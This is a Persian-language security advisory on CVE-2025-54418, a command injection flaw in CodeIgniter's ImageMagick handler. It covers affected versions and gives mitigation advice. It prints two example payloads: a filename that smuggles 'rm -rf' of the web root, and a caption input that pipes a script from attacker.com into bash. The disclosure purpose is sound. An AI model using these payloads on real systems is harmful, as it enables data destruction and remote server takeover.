کشف آسیب‌پذیری اجرای فرمان در PHP CodeIgniter

کشف آسیب‌پذیری اجرای فرمان در PHP CodeIgniter

تاریخ ایجاد

CodeIgniter یک چارچوب توسعه برنامه‌های تحت وب PHP Full-stack است که به دلیل سادگی و کارایی بالا بسیار پرکاربرد است. اخیراً یک آسیب‌پذیری بحرانی با شناسه‌ی CVE-2025-54418 و شدت 9.8 در کتابخانه ImageMagick که امکان پردازش تصاویر را در CodeIgniter فراهم می‌سازد، شناسایی شده است. استفاده نادرست از این کتابخانه در کنار ورودی‌های غیرایمن کاربر می‌تواند منجر به آسیب‌های جدی امنیتی شود.

 

جزئیات آسیب‌پذیری

این آسیب‌پذیری یک نقص امنیتی از نوع تزریق دستورات سیستم‌عامل است که هنگام استفاده از ابزار ImageMagick به‌عنوان ابزار پردازش تصویر رخ می‌دهد. از آن‌جا که اجرای ImageMagick در سطح سیستم‌عامل انجام می‌شود، این آسیب‌پذیری به مهاجم اجازه می‌دهد از طریق روش‌های زیر حمله را انجام دهد و فرمان‌های دلخواه سیستم‌عامل را اجرا کند:

1. آپلود فایلی با نام مخرب

آپلود فایلی که نام آن شامل کاراکترهای خاص مورد استفاده در پوسته سیستم‌عامل باشد و با همین نام ذخیره و با استفاده از متد ()resize پردازش ‌شود. به‌عنوان مثال، فایل با نام زیر اگر توسط ابزار ImageMagick تحلیل شود، منجر به حذف کل فایل‌های وب‌سرور می‌گردد:

$(rm -rf /var/www/html/*).jpg

2. استفاده از ورودی متنی مخرب در متد ()text

وارد کردن متنی مخرب هنگام استفاده از ()متد text با استفاده از ورودی‌های اعتبارسنجی‌نشده، به مهاجم امکان می‌دهد دستورات دلخواه را اجرا کرده و کنترل کامل سیستم قربانی را به دست آورد. به‌عنوان مثال، اگر کاربر متن زیر را از طریق متد ()text برای درج روی یک تصویر وارد نماید، به دلیل عدم پاک‌سازی ورودی، کد مخربی از سرور مهاجم دانلود شده و منجر به نصب درب پشتی، سرقت اطلاعات یا کنترل کامل سیستم می‌شود:

caption:@|bash -c "curl http://attacker.com/shell.sh | bash"

 

بردار CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H نشان می‌دهد بهره‌برداری از آن نیازی به دسترسی قبلی و تعامل کاربر ندارد و مهاجم می‌تواند از طریق ارسال درخواست از راه دور، بدون احراز هویت و با کمترین پیچیدگی، فرمان‌هایی را اجرا کند که منجر به افشای اطلاعات حساس، تغییر یا تخریب داده‌ها، و توقف کامل سرویس شود. این نقص امنیتی محرمانگی، یکپارچگی و دسترس‌پذیری سامانه را تحت تأثیر قرار می‌دهد.

 

نسخه‌های تحت‌تأثیر

  • تمام نسخه‌های CodeIgniter قبل از 4.6.2 که از ImageMagick به‌عنوان پردازشگر تصویر استفاده می‌کنند، در معرض این حمله قرار دارند.

 

توصیه‌های امنیتی

  • ارتقا CodeIgniter به نسخه‌ی 4.6.2 یا بالاتر.
  • استفاده از ابزار پردازشگر پیش‌فرض GD به‌جای ImageMagick که نسبت به این آسیب‌پذیری ایمن است.
  • هنگام ذخیره فایل‌های آپلودشده، از نام‌های تصادفی مانند خروجی تابع ()getRandomName یا ()store استفاده شود تا از تزریق کاراکترهای مخرب در نام فایل جلوگیری گردد.
  • در کاربرد تابع ()text، لازم است ورودی‌ها پاک‌سازی شده و کاراکترهای غیرمجاز حذف شوند.

 

منابع خبر:

[1]https://www.cvedetails.com/cve/CVE-2025-54418

[2]https://nvd.nist.gov/vuln/detail/CVE-2025-54418

[3]https://www.cve.org/CVERecord?id=CVE-2025-54418

[4]https://euvd.enisa.europa.eu/vulnerability/CVE-2025-54418

[5]https://github.com/codeigniter4/CodeIgniter4/security/advisories